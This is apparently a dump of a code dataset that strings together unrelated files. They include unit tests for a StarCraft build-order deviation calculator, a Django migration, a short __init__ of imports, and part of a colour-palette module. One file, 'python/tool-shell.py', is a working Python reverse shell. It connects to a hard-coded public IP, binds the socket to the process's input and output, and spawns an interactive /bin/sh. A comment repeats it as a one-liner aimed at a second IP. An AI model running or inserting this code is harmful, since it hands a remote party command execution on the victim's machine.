golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 25, 100))
compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.discrepency, 1)
#endregion
#region unit_totals
def test_unit_totals_are_calculated_correctly_for_bench(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
golden_totals = bo_dev.get_unit_totals()
self.assertEqual(golden_totals['Probe'], 1)
self.assertEqual(golden_totals['Pylon'], 1)
self.assertEqual(golden_totals['Assimilator'], 1)
def test_unit_totals_are_calculated_correctly_for_any_build_order(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 25, 100))
compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
compare_totals = bo_dev.get_unit_totals(bo=compare_bo)
self.assertEqual(compare_totals['Probe'], 1)
self.assertEqual(compare_totals['Pylon'], 2)
self.assertEqual(compare_totals['Assimilator'], 1)
def test_unit_totals_are_correct_when_using_depth(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
golden_bo.append(BuildOrderElement(4, 'Pylon', 15, 60, 220))
bo_dev = BuildOrderDeviation(golden_bo)
golden_totals = bo_dev.get_unit_totals(depth=3)
self.assertEqual(golden_totals['Probe'], 1)
self.assertEqual(golden_totals['Pylon'], 1)
self.assertEqual(golden_totals['Assimilator'], 1)
def test_unit_totals_do_not_include_units_with_zero_totals_when_using_depth(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
golden_bo.append(BuildOrderElement(4, 'Pylon', 15, 60, 220))
golden_bo.append(BuildOrderElement(5, 'Zealot', 15, 70, 240))
bo_dev = BuildOrderDeviation(golden_bo)
golden_totals = bo_dev.get_unit_totals(depth=3)
self.assertFalse('Zealot' in golden_totals)
#endregion
#region time_dev_plus
def test_time_dev_p_is_correct_when_build_unit_is_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 55, 205))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.time_dev_p, 30)
def test_time_dev_p_is_zero_when_build_unit_is_not_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 25, 95))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 55, 205))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.time_dev_p, 0)
def test_time_dev_p_is_correct_when_build_unit_is_not_missing_but_greater_than_ORDER_DEV_GRACE(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 16, 55, 205))
compare_bo.append(BuildOrderElement(23, 'Pylon', 17, 65, 215))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.time_dev_p, 30)
#endregion
#region order_dev_plus
def test_order_dev_p_is_correct_when_build_unit_is_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 16, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev_p, 1)
def test_order_dev_p_is_zero_when_build_unit_is_not_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 15, 25, 95))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 16, 55, 205))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev_p, 0)
def test_order_deviation_calculated_correctly_when_build_has_different_element(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Probe', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev_p, 1)
def test_order_dev_p_is_correct_when_build_unit_is_not_missing_but_greater_than_ORDER_DEV_GRACE(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 16, 55, 205))
compare_bo.append(BuildOrderElement(23, 'Pylon', 17, 65, 215))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev_p, 1)
#endregion
#region tag_order_dev_plus
def test_tag_order_dev_p_is_not_incremented_when_units_do_not_differ(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertFalse(uc.BUILDING_TAG in bo_dev.tag_order_dev_p)
self.assertFalse(uc.SUPPLY_TAG in bo_dev.tag_order_dev_p)
def test_tag_order_dev_p_is_incremented_when_build_order_element_is_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(3, 'Probe', 12, 0, 0))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.tag_order_dev_p[uc.BUILDING_TAG], 1)
self.assertEqual(bo_dev.tag_order_dev_p[uc.SUPPLY_TAG], 1)
def test_tag_order_dev_p_is_incremented_when_multiple_elements_with_the_same_tag_are_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
golden_bo.append(BuildOrderElement(4, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(3, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(4, 'Probe', 12, 0, 0))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.tag_order_dev_p[uc.BUILDING_TAG], 3)
def test_tag_order_dev_p_calculated_correctly_when_build_has_different_element(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Probe', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.tag_order_dev_p[uc.SUPPLY_TAG], 1)
def test_order_dev_p_is_correct_when_build_unit_is_not_missing_but_greater_than_ORDER_DEV_GRACE(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 16, 55, 205))
compare_bo.append(BuildOrderElement(23, 'Pylon', 17, 65, 215))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.tag_order_dev_p[uc.SUPPLY_TAG], 1)
#endregion
#region deviation
def test_deviation_is_zero_when_builds_are_exactly_the_same(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.dev, 0)
#endregion
#region get_scaled_tag_order_dev
def test_scaled_tag_order_dev_is_zero_when_tag_has_not_occurred_in_build(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(0, bo_dev.get_scaled_tag_order_dev(uc.ARMY_TAG))
def test_scaled_tag_order_dev_is_correct_when_elements_are_ordered_different(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(2 / 6, bo_dev.get_scaled_tag_order_dev(uc.BUILDING_TAG))
def test_scaled_tag_order_dev_is_correct_when_elements_are_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(1 / 6, bo_dev.get_scaled_tag_order_dev(uc.SUPPLY_TAG))
def test_scaled_tag_order_dev_is_correct_when_elements_are_ordered_different_and_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(3, 'Probe', 12, 0, 0))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(2 / 6, bo_dev.get_scaled_tag_order_dev(uc.BUILDING_TAG))
#endregion
#region get_average_order_dev
def test_avg_order_dev_is_zero_when_builds_have_not_deviated(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(0, bo_dev.get_average_order_dev())
def test_avg_order_dev_is_correct_when_elements_are_ordered_different(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
# deviations are: 0, 1, 1
self.assertEqual(1, bo_dev.get_average_order_dev())
def test_avg_order_dev_is_correct_when_elements_are_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Probe', 12, 30, 110))
golden_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Probe', 12, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 60, 220))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
# deviations are: 0, 2, 1, 0
self.assertEqual(0, bo_dev.get_average_order_dev())
def test_avg_order_dev_is_correct_when_elements_are_ordered_different_and_missing(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(3, 'Probe', 12, 0, 0))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
# deviation are: 0, 1, 1
self.assertEqual(1, bo_dev.get_average_order_dev())
#endregion
if __name__ == '__main__':
unittest.main()
| 41.024803 | 115 | 0.658276 | 4,570 | 36,389 | 4.946171 | 0.037199 | 0.09839 | 0.307468 | 0.198859 | 0.945408 | 0.938816 | 0.934835 | 0.925146 | 0.904397 | 0.894665 | 0 | 0.06915 | 0.223859 | 36,389 | 886 | 116 | 41.071106 | 0.73119 | 0.016049 | 0 | 0.838384 | 0 | 0 | 0.057959 | 0 | 0 | 0 | 0 | 0 | 0.102694 | 1 | 0.080808 | false | 0 | 0.013468 | 0 | 0.09596 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
dec250f9f904f295f10586a2076b7a0f85ffc7f4 | 3,004 | py | Python | great_international/migrations/0075_auto_20190904_1529.py | uktrade/directory-cms | 8c8d13ce29ea74ddce7a40f3dd29c8847145d549 | [
"MIT"
] | 6 | 2018-03-20T11:19:07.000Z | 2021-10-05T07:53:11.000Z | great_international/migrations/0075_auto_20190904_1529.py | uktrade/directory-cms | 8c8d13ce29ea74ddce7a40f3dd29c8847145d549 | [
"MIT"
] | 802 | 2018-02-05T14:16:13.000Z | 2022-02-10T10:59:21.000Z | great_international/migrations/0075_auto_20190904_1529.py | uktrade/directory-cms | 8c8d13ce29ea74ddce7a40f3dd29c8847145d549 | [
"MIT"
] | 6 | 2019-01-22T13:19:37.000Z | 2019-07-01T10:35:26.000Z | # Generated by Django 2.2.3 on 2019-09-04 15:29
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('great_international', '0074_auto_20190902_1424'),
]
operations = [
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description_ar',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description_de',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description_en_gb',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description_es',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description_fr',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description_ja',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description_pt',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
migrations.AddField(
model_name='aboutditservicespage',
name='featured_description_zh_hans',
field=models.TextField(blank=True, help_text='This will be used when this page is featured as a card on another page i.e. the About DIT landing page', null=True),
),
]
| 50.915254 | 174 | 0.658788 | 391 | 3,004 | 4.956522 | 0.168798 | 0.083591 | 0.106811 | 0.125387 | 0.905573 | 0.905573 | 0.905573 | 0.905573 | 0.869453 | 0.869453 | 0 | 0.013845 | 0.25466 | 3,004 | 58 | 175 | 51.793103 | 0.85172 | 0.01498 | 0 | 0.692308 | 1 | 0.173077 | 0.45722 | 0.072709 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.019231 | 0 | 0.076923 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ded021dfb49d8e7215e81e4c6981f8ff2084969e | 142 | py | Python | core/__init__.py | xthecoolboy/reaction-light | ae2d2b1f68535003fabb08de76f52800a4bebc92 | [
"MIT"
] | null | null | null | core/__init__.py | xthecoolboy/reaction-light | ae2d2b1f68535003fabb08de76f52800a4bebc92 | [
"MIT"
] | null | null | null | core/__init__.py | xthecoolboy/reaction-light | ae2d2b1f68535003fabb08de76f52800a4bebc92 | [
"MIT"
] | null | null | null | from .migration import *
from .activity import *
from .migration import *
from .database import *
from .github import *
from .schema import *
| 20.285714 | 24 | 0.746479 | 18 | 142 | 5.888889 | 0.388889 | 0.471698 | 0.358491 | 0.433962 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.169014 | 142 | 6 | 25 | 23.666667 | 0.898305 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
ded541afc057d144094d8de107e355a38765418d | 453 | py | Python | python/tool-shell.py | q1angwang/Blog-of-wq | 71eefaf3d1713fcf82e6fe97d7c4da7d112beae2 | [
"MIT"
] | 2 | 2020-12-28T13:14:07.000Z | 2022-03-03T03:32:23.000Z | python/tool-shell.py | q1angwang/Blog-of-wq | 71eefaf3d1713fcf82e6fe97d7c4da7d112beae2 | [
"MIT"
] | null | null | null | python/tool-shell.py | q1angwang/Blog-of-wq | 71eefaf3d1713fcf82e6fe97d7c4da7d112beae2 | [
"MIT"
] | null | null | null | import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("52.15.198.8",2333));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
# 用
# 放一行简化
# import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("155.94.188.34",8809));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); | 37.75 | 219 | 0.679912 | 84 | 453 | 3.619048 | 0.380952 | 0.118421 | 0.138158 | 0.256579 | 0.894737 | 0.894737 | 0.894737 | 0.894737 | 0.894737 | 0.894737 | 0 | 0.087356 | 0.039735 | 453 | 12 | 219 | 37.75 | 0.611494 | 0.496689 | 0 | 0 | 0 | 0 | 0.088889 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
dedb6aee60ceaaedfbfdb9defce99fb6e874de7e | 787,091 | py | Python | depict/tools/color_palettes.py | vboulanger/draw | 63a40999c84218d5237195adf02eb817dad54601 | [
"MIT"
] | 15 | 2020-01-15T17:28:29.000Z | 2021-02-24T20:32:05.000Z | depict/tools/color_palettes.py | vboulanger/draw | 63a40999c84218d5237195adf02eb817dad54601 | [
"MIT"
] | null | null | null | depict/tools/color_palettes.py | vboulanger/draw | 63a40999c84218d5237195adf02eb817dad54601 | [
"MIT"
] | null | null | null | from ..core.tools import format_color
import seaborn as sns
# TODO: Add formulas to compute palettes
# TODO: Add a grey scale palette
_colors_categories_10 = {
1: [(76, 114, 176)],
2: [(76, 114, 176), (221, 132, 82)],
3: [(76, 114, 176), (221, 132, 82), (85, 168, 104)],
4: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82)],
5: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82),
(129, 114, 179)],
6: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82),
(129, 114, 179), (147, 120, 96)],
7: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82),
(129, 114, 179), (147, 120, 96), (218, 139, 195)],
8: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82),
(129, 114, 179), (147, 120, 96), (218, 139, 195), (140, 140, 140)],
9: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82),
(129, 114, 179), (147, 120, 96), (218, 139, 195), (140, 140, 140),
(204, 185, 116)],
10: [(76, 114, 176), (221, 132, 82), (85, 168, 104), (196, 78, 82),
(129, 114, 179), (147, 120, 96), (218, 139, 195), (140, 140, 140),
(204, 185, 116), (100, 181, 205)]}
_color_categories_256 = {
1: [(204, 101, 101)],
2: [(204, 101, 101), (101, 204, 204)],
3: [(204, 101, 101), (102, 204, 101), (101, 102, 204)],
4: [(204, 101, 101), (153, 204, 101), (101, 204, 204), (152, 101, 204)],
5: [(204, 101, 101),
(183, 204, 101),
(101, 204, 142),
(101, 142, 204),
(183, 101, 204)],
6: [(204, 101, 101),
(204, 204, 101),
(102, 204, 101),
(101, 204, 204),
(101, 102, 204),
(203, 101, 204)],
7: [(204, 101, 101),
(204, 189, 101),
(131, 204, 101),
(101, 204, 160),
(101, 160, 204),
(131, 101, 204),
(204, 101, 189)],
8: [(204, 101, 101),
(204, 178, 101),
(153, 204, 101),
(101, 204, 127),
(101, 204, 204),
(101, 127, 204),
(152, 101, 204),
(204, 101, 178)],
9: [(204, 101, 101),
(204, 170, 101),
(169, 204, 101),
(102, 204, 101),
(101, 204, 170),
(101, 169, 204),
(101, 102, 204),
(169, 101, 204),
(204, 101, 169)],
10: [(204, 101, 101),
(204, 163, 101),
(183, 204, 101),
(122, 204, 101),
(101, 204, 142),
(101, 204, 204),
(101, 142, 204),
(122, 101, 204),
(183, 101, 204),
(204, 101, 163)],
11: [(204, 101, 101),
(204, 157, 101),
(194, 204, 101),
(139, 204, 101),
(101, 204, 120),
(101, 204, 176),
(101, 176, 204),
(101, 120, 204),
(139, 101, 204),
(194, 101, 204),
(204, 101, 157)],
12: [(204, 101, 101),
(204, 152, 101),
(204, 204, 101),
(153, 204, 101),
(102, 204, 101),
(101, 204, 152),
(101, 204, 204),
(101, 153, 204),
(101, 102, 204),
(152, 101, 204),
(203, 101, 204),
(204, 101, 153)],
13: [(204, 101, 101),
(204, 149, 101),
(204, 196, 101),
(164, 204, 101),
(117, 204, 101),
(101, 204, 133),
(101, 204, 180),
(101, 180, 204),
(101, 133, 204),
(117, 101, 204),
(164, 101, 204),
(204, 101, 196),
(204, 101, 149)],
14: [(204, 101, 101),
(204, 145, 101),
(204, 189, 101),
(174, 204, 101),
(131, 204, 101),
(101, 204, 116),
(101, 204, 160),
(101, 204, 204),
(101, 160, 204),
(101, 116, 204),
(131, 101, 204),
(174, 101, 204),
(204, 101, 189),
(204, 101, 145)],
15: [(204, 101, 101),
(204, 142, 101),
(204, 183, 101),
(183, 204, 101),
(142, 204, 101),
(102, 204, 101),
(101, 204, 142),
(101, 204, 183),
(101, 183, 204),
(101, 142, 204),
